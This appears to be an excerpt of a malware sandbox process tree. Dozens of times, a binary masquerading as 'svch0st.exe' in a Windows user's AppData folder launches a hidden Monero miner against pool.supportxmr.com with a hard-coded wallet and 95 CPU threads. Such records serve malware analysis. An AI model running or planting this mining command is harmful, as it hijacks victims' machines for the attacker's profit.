        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        111⤵
        
        PID:14096
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        112⤵
        
        PID:14444
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        113⤵
        
        PID:14532
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        114⤵
        
        PID:14636
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        115⤵
        
        PID:14736
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        116⤵
        
        PID:14840
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        117⤵
        
        PID:14944
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        118⤵
        
        PID:15052
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        119⤵
        
        PID:15160
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        120⤵
        
        PID:15264
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        121⤵
        
        PID:14412
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        122⤵
        
        PID:15376
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        123⤵
        
        PID:15484
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        124⤵
        
        PID:15588
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        125⤵
        
        PID:15692
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        126⤵
        
        PID:15812
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        127⤵
        
        PID:15900
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        128⤵
        
        PID:16008
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        129⤵
        
        PID:16116
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        130⤵
        
        PID:16224
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        131⤵
        
        PID:16332
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        132⤵
        
        PID:15920
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        133⤵
        
        PID:16428
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        134⤵
        
        PID:16532
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        135⤵
        
        PID:16652
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        136⤵
        
        PID:16768
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        137⤵
        
        PID:16868
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        138⤵
        
        PID:16980
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        139⤵
        
        PID:17076
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        140⤵
        
        PID:17180
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        141⤵
        
        PID:17264
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        142⤵
        
        PID:17368
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        143⤵
        
        PID:17332
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        144⤵
        
        PID:17508
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        145⤵
        
        PID:17620
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        146⤵
        
        PID:17716
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        147⤵
        
        PID:17800
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        148⤵
        
        PID:17928
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        149⤵
        
        PID:18056
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        150⤵
        
        PID:18200
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        151⤵
        
        PID:18304
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        152⤵
        
        PID:18412
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        153⤵
        
        PID:18220
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        154⤵
        
        PID:18516
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        155⤵
        
        PID:18636
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        156⤵
        
        PID:18836
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        157⤵
        
        PID:18960
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        158⤵
        
        PID:19060
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        159⤵
        
        PID:19164
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        160⤵
        
        PID:19256
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        161⤵
        
        PID:19368
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        162⤵
        
        PID:19444
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        163⤵
        
        PID:19276
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        164⤵
        
        PID:19528
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        165⤵
        
        PID:19632
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        166⤵
        
        PID:19804
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        167⤵
        
        PID:19928
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        168⤵
        
        PID:20032
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        169⤵
        
        PID:20136
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        170⤵
        
        PID:20256
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        171⤵
        
        PID:20360
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        172⤵
        
        PID:20448
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        173⤵
        
        PID:4280
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        174⤵
        
        PID:20472
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        175⤵
        
        PID:20572
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        176⤵
        
        PID:20696
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        177⤵
        
